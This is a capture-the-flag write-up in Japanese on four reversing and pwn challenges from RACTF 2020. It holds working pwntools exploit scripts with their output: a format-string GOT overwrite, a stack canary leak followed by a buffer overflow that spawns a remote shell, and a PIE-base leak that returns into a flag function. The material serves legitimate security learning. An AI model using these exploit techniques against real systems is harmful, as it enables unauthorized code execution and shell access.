Really Awesome CTF 2020【Write-up】
Reversing / Pwn
Not Really AI
$ file nra nra: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=de726633c6d3ec5839065e67784dcfdb3497b074, for GNU/Linux 3.2.0, not stripped
$ checksec.sh --file=./nra RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFYFortified Fortifiable FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 75 Symbols No 02 ./nra
とりあえず、Format String Bugsがあることがわかります。
$ ./nra How are you finding RACTF? AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x I am glad you AAAA200,f7f52580,80491d1,41414141,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,f7000a78,f7d7090c,8048315,f7d7588c,6eb0688f,ff81c010 We hope you keep going!
gdb-peda$ i func All defined functions: Non-debugging symbols: 0x08049000 _init 0x08049030 printf@plt 0x08049040 fgets@plt 0x08049050 getegid@plt 0x08049060 puts@plt 0x08049070 system@plt 0x08049080 __libc_start_main@plt 0x08049090 setvbuf@plt 0x080490a0 setresgid@plt 0x080490b0 _start 0x080490f0 _dl_relocate_static_pie 0x08049100 __x86.get_pc_thunk.bx 0x08049110 deregister_tm_clones 0x08049150 register_tm_clones 0x08049190 __do_global_dtors_aux 0x080491c0 frame_dummy 0x080491c2 response 0x08049245 flaggy 0x08049270 main 0x080492eb __x86.get_pc_thunk.ax 0x080492f0 __libc_csu_init 0x08049350 __libc_csu_fini 0x08049351 __x86.get_pc_thunk.bp 0x08049358 _fini
flaggyといういかにも怪しい関数があるのでディスアセンブルしてみます。
gdb-peda$ pdisas flaggy Dump of assembler code for function flaggy: 0x08049245 <+0>: push ebp 0x08049246 <+1>: mov ebp,esp 0x08049248 <+3>: push ebx 0x08049249 <+4>: sub esp,0x4 0x0804924c <+7>: call 0x80492eb <__x86.get_pc_thunk.ax> 0x08049251 <+12>: add eax,0x2daf 0x08049256 <+17>: sub esp,0xc 0x08049259 <+20>: lea edx,[eax-0x1fb6] 0x0804925f <+26>: push edx 0x08049260 <+27>: mov ebx,eax 0x08049262 <+29>: call 0x8049070 <system@plt> 0x08049267 <+34>: add esp,0x10 0x0804926a <+37>: nop 0x0804926b <+38>: mov ebx,DWORD PTR [ebp-0x4] 0x0804926e <+41>: leave 0x0804926f <+42>: ret End of assembler dump.
一旦なにかの関数をこれに書き換えて呼び出してみることにします。
gdb-peda$ pdisas main Dump of assembler code for function main: 0x08049270 <+0>: lea ecx,[esp+0x4] 0x08049274 <+4>: and esp,0xfffffff0 0x08049277 <+7>: push DWORD PTR [ecx-0x4] 0x0804927a <+10>: push ebp 0x0804927b <+11>: mov ebp,esp 0x0804927d <+13>: push ebx 0x0804927e <+14>: push ecx 0x0804927f <+15>: sub esp,0x10 0x08049282 <+18>: call 0x8049100 <__x86.get_pc_thunk.bx> 0x08049287 <+23>: add ebx,0x2d79 0x0804928d <+29>: mov eax,DWORD PTR [ebx-0x8] 0x08049293 <+35>: mov eax,DWORD PTR [eax] 0x08049295 <+37>: push 0x0 0x08049297 <+39>: push 0x2 0x08049299 <+41>: push 0x0 0x0804929b <+43>: push eax 0x0804929c <+44>: call 0x8049090 <setvbuf@plt> 0x080492a1 <+49>: add esp,0x10 0x080492a4 <+52>: mov eax,DWORD PTR [ebx-0x4] 0x080492aa <+58>: mov eax,DWORD PTR [eax] 0x080492ac <+60>: push 0x0 0x080492ae <+62>: push 0x2 0x080492b0 <+64>: push 0x0 0x080492b2 <+66>: push eax 0x080492b3 <+67>: call 0x8049090 <setvbuf@plt> 0x080492b8 <+72>: add esp,0x10 0x080492bb <+75>: call 0x8049050 <getegid@plt> 0x080492c0 <+80>: mov DWORD PTR [ebp-0xc],eax 0x080492c3 <+83>: sub esp,0x4 0x080492c6 <+86>: push DWORD PTR [ebp-0xc] 0x080492c9 <+89>: push DWORD PTR [ebp-0xc] 0x080492cc <+92>: push DWORD PTR [ebp-0xc] 0x080492cf <+95>: call 0x80490a0 <setresgid@plt> 0x080492d4 <+100>: add esp,0x10 0x080492d7 <+103>: call 0x80491c2 <response> 0x080492dc <+108>: mov eax,0x0 0x080492e1 <+113>: lea esp,[ebp-0x8] 0x080492e4 <+116>: pop ecx 0x080492e5 <+117>: pop ebx 0x080492e6 <+118>: pop ebp 0x080492e7 <+119>: lea esp,[ecx-0x4] 0x080492ea <+122>: ret End of assembler dump.
gdb-peda$ pdisas response Dump of assembler code for function response: 0x080491c2 <+0>: push ebp 0x080491c3 <+1>: mov ebp,esp 0x080491c5 <+3>: push ebx 0x080491c6 <+4>: sub esp,0x204 0x080491cc <+10>: call 0x8049100 <__x86.get_pc_thunk.bx> 0x080491d1 <+15>: add ebx,0x2e2f 0x080491d7 <+21>: sub esp,0xc 0x080491da <+24>: lea eax,[ebx-0x1ff8] 0x080491e0 <+30>: push eax 0x080491e1 <+31>: call 0x8049060 <puts@plt> 0x080491e6 <+36>: add esp,0x10 0x080491e9 <+39>: mov eax,DWORD PTR [ebx-0x8] 0x080491ef <+45>: mov eax,DWORD PTR [eax] 0x080491f1 <+47>: sub esp,0x4 0x080491f4 <+50>: push eax 0x080491f5 <+51>: push 0x200 0x080491fa <+56>: lea eax,[ebp-0x208] 0x08049200 <+62>: push eax 0x08049201 <+63>: call 0x8049040 <fgets@plt> 0x08049206 <+68>: add esp,0x10 0x08049209 <+71>: sub esp,0xc 0x0804920c <+74>: lea eax,[ebx-0x1fdd] 0x08049212 <+80>: push eax 0x08049213 <+81>: call 0x8049060 <puts@plt> 0x08049218 <+86>: add esp,0x10 0x0804921b <+89>: sub esp,0xc 0x0804921e <+92>: lea eax,[ebp-0x208] 0x08049224 <+98>: push eax 0x08049225 <+99>: call 0x8049030 <printf@plt> 0x0804922a <+104>: add esp,0x10 0x0804922d <+107>: sub esp,0xc 0x08049230 <+110>: lea eax,[ebx-0x1fcf] 0x08049236 <+116>: push eax 0x08049237 <+117>: call 0x8049060 <puts@plt> 0x0804923c <+122>: add esp,0x10 0x0804923f <+125>: nop 0x08049240 <+126>: mov ebx,DWORD PTR [ebp-0x4] 0x08049243 <+129>: leave 0x08049244 <+130>: ret
main関数の中でresponse関数が呼ばれ、最後にputs関数があるのでputs関数のGOTをflaggy関数に書き換えてみます。
from pwn import * e = ELF('./nra') # = process('./nra') p = remote('95.216.233.106',35403) payload = fmtstr_payload(4,{e.got['puts']: e.symbols['flaggy']}) p.sendline(payload) p.interactive()
$ python solve.py [*] Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [+] Opening connection to 95.216.233.106 on port 35403: Done [*] Switching to interactive mode How are you finding RACTF? I am glad you \x00 � �aaa\x1b\x18\x04\x19\x04 ractf{f0rmat_Str1nG_fuN}
Solved_in_a_flash
$ file flash.bin flash.bin: data
Ubuntuの環境では実行できませんでした。
$ ./flash.bin bash: ./flash.bin: バイナリファイルを実行できません: 実行形式エラー
よくわからなかったので、stringsでバイナリファイルの可読できる部分を出力させてみます。
$ strings flash.bin h>s@ L/m/ M/l/ T/D' @/a/ @/a/ L/m/ L/m/ L/m/ ractf{Fl4shDump5Ar3VeryFun!!} AVR ISP ,o/}- #+$+%+I D'U' ] n -d/ g/x/ 'f'w' /v/j/ ?OOO_O 0, 0 0xfff, 0xfff (/)Z (/ ] !P0@ !P0@ /_?O O__OF /_?O0 O__OF
Flagがありました。
Finches_in_a_Stack
$ file fias fias: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=e8e9871f93c103af02b7d5f25c86962ec1c322b9, for GNU/Linux 3.2.0, not stripped
$ checksec.sh --file=./fias RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFYFortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 78 Symbols Yes 02 ./fias
$ ./fias No! You bad canary! Get back in your cage! I don't want you attacking anyone! Hi! What's your name? %x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,v Nice to meet you, f7fcfe24,3e8,8049246,f7f93000,f7f93000,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,21762c78,f7fc000a,804c000,1,80490c0,0,80490f2,80492fb,1,ffb52dc4,v! Do YOU want to pet my canary? *** stack smashing detected ***: <unknown> terminated 中止 (コアダンプ)
問題からして、Format String Bugsを用いてスタックからCanaryを読み出してBOFでsystem関数を呼び出したいです。
まず、Canaryをリークします。適当にブレークポイントを設置してCanaryがある場所を特定します。
gdb-peda$ telescope 20 0000| 0xffffcfd0 --> 0xffffcfe3 --> 0xfac000f7 0004| 0xffffcfd4 --> 0xf7fe8e24 (pop edx) 0008| 0xffffcfd8 --> 0x3e8 0012| 0xffffcfdc --> 0x8049246 (<say_hi+13>: add ebx,0x2dba) 0016| 0xffffcfe0 --> 0xf7fac000 --> 0x1e8d6c 0020| 0xffffcfe4 --> 0xf7fac000 --> 0x1e8d6c 0024| 0xffffcfe8 ("AAAA!\n") 0028| 0xffffcfec --> 0x8000a21 0032| 0xffffcff0 --> 0x804a048 ("I don't want you attacking anyone!\n") 0036| 0xffffcff4 --> 0xf7ffd940 --> 0x0 0040| 0xffffcff8 --> 0x804c000 --> 0x804bf0c --> 0x1 <span style="color: #ff0000">0044| 0xffffcffc --> 0x2bbb9300</span> 0048| 0xffffd000 --> 0x804c000 --> 0x804bf0c --> 0x1 0052| 0xffffd004 --> 0xf7fac000 --> 0x1e8d6c 0056| 0xffffd008 --> 0xffffd028 --> 0x0 0060| 0xffffd00c --> 0x804936c (<main+113>: mov eax,0x0) 0064| 0xffffd010 --> 0x1 0068| 0xffffd014 --> 0xffffd0d4 --> 0xffffd2a3 ("/home/kanye/RACTF/Finches_in_a_Stack/fias") 0072| 0xffffd018 --> 0xffffd0dc --> 0xffffd2cd ("SHELL=/bin/bash") 0076| 0xffffd01c --> 0x3e8
canaryは下位1バイトは0なので、赤くなっているメモリアドレスにCanaryがあると考えられます。system関数はすでに用意されているのでlibcのリークをする必要はありません。あとはcanaryを使って適切にBOFさせるだけです。
from pwn import * e = ELF('./fias') #p = process('./fias') p = remote('95.216.233.106',29083) payload = '%11$x' print p.recvuntil('name? ') p.sendline(payload) print p.recvuntil('you, ') canary = int(p.recvline().rstrip('!\n'),16) print "canary: " + hex(canary) print p.recvuntil('canary?\n') payload = 'A'*25 payload += p32(canary) payload += 'AAAA'*3 payload += p32(e.symbols['main']) p.sendline(payload) print p.recvuntil('name? ') payload = fmtstr_payload(6,{e.got['printf']:e.symbols['system']}) p.sendline(payload) pop_ret_addr = 0x804901e print p.recvuntil('canary?\n') payload = 'A'*25 payload += p32(canary) payload += 'AAAA'*3 payload += p32(e.symbols['gets']) payload += p32(pop_ret_addr) payload += p32(e.bss()+0x100) payload += p32(e.symbols['printf']) payload += p32(pop_ret_addr) payload += p32(e.bss()+0x100) p.sendline(payload) p.sendline('/bin/sh') p.interactive()
$ python solve.py [*] Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Opening connection to 95.216.233.106 on port 29083: Done payload: %11$x No! You bad canary! Get back in your cage! I don't want you attacking anyone! Hi! What's your name? Nice to meet you, canary: 0x28286a00 Do YOU want to pet my canary? No! You bad canary! Get back in your cage! I don't want you attacking anyone! Hi! What's your name? Nice to meet you, \xb8 K Faa\x0f\x04\x0c\x04! Do YOU want to pet my canary? [*] Switching to interactive mode $ id uid=101(ractf) gid=65534(nogroup) groups=65534(nogroup) $ ls Dockerfile canary challenge.json flag.txt libssl1.1_1.1.0g-2ubuntu4_i386.deb libwrap0_7.6.q-27_i386.deb socat_1.7.3.2-2ubuntu2_i386.deb socat_1.7.3.3-2_i386.deb $ cat flag.txt ractf{St4ck_C4n4ry_FuN!}
Finches in a Pie
$ file fiap fiap: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=07c3106195f072f2c3eff4ee1d4a581503c6284e, for GNU/Linux 3.2.0, not stripped
$ checksec.sh --file=./fiap RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 82 Symbols Yes 02./fiap
簡単に実行してみた感じ、FSBがあることはわかります。
$ ./fiap Oh my! You NAUGHTY CANARY You ATE MY PIE! CATCH HIM! You got him! Thank you! What's your name? %x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x, Thank you, f7fdae24,3e8,5660828f,f7f9e000,f7f9e000,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,212c7825,! Would you like some cake? *** stack smashing detected ***: <unknown> terminated 中止 (コアダンプ)
gdb-peda$ i func All defined functions: Non-debugging symbols: 0x00001000 _init 0x00001030 printf@plt 0x00001040 gets@plt 0x00001050 __stack_chk_fail@plt 0x00001060 getegid@plt 0x00001070 puts@plt 0x00001080 system@plt 0x00001090 __libc_start_main@plt 0x000010a0 setvbuf@plt 0x000010b0 setresgid@plt 0x000010c0 __cxa_finalize@plt 0x000010d0 _start 0x00001110 __x86.get_pc_thunk.bx 0x00001120 deregister_tm_clones 0x00001160 register_tm_clones 0x000011b0 __do_global_dtors_aux 0x00001200 frame_dummy 0x00001205 __x86.get_pc_thunk.dx 0x00001209 flag 0x00001234 my_pie 0x00001282 say_hi 0x00001368 main 0x000013e8 __x86.get_pc_thunk.ax 0x000013f0 __libc_csu_init 0x00001450 __libc_csu_fini 0x00001451 __x86.get_pc_thunk.bp 0x00001460 __stack_chk_fail_local 0x00001474 _fini
gdbでデバッグしてみると、flag関数が用意されているのでPIEを無効にできるようにoffsetをリークしてmain関数をループさせた上でBOFさせてflag関数を呼び出せばよさそうです。
from pwn import * e = ELF('./fiap') p = remote('95.216.233.106',62356) print p.recvuntil('name?') payload = '%11$x libc %15$x' p.sendline(payload) print p.recvuntil('you, ') ret = p.recvline().split(' ') canary = int(ret[0],16) leak = int(ret[2].rstrip('!\n'),16) print "canary: " + hex(canary) print "leak: " + hex(leak) proc_base_addr = leak - e.symbols['main'] - 113 print p.recvuntil('cake?') payload = 'A'*25 payload += p32(canary) payload += 'AAAA'*3 payload += p32(e.symbols['flag']+ proc_base_addr) p.sendline(payload) p.interactive()
$ echo 'AAAA%6$x' | ./fiap Oh my! You NAUGHTY CANARY You ATE MY PIE! CATCH HIM! You got him! Thank you! What's your name? Thank you, AAAA41414141! Would you like some cake?
%10$xが、canary %23$xが、__libc_start_main + 249
$ python solve.py [*] '/home/kanye/RACTF/Finches_in_a_Pie/fiap' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 95.216.233.106 on port 62356: Done [*] '/home/kanye/RACTF/Finches_in_a_Pie/libc6_2.30-0ubuntu3_i386.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Oh my! You NAUGHTY CANARY You ATE MY PIE! CATCH HIM! You got him! Thank you! What's your name? Thank you, canary: 0x1c3d7f00 leak: 0x565ba3d9 Would you like some cake? [*] Switching to interactive mode ractf{B4k1ng_4_p1E!}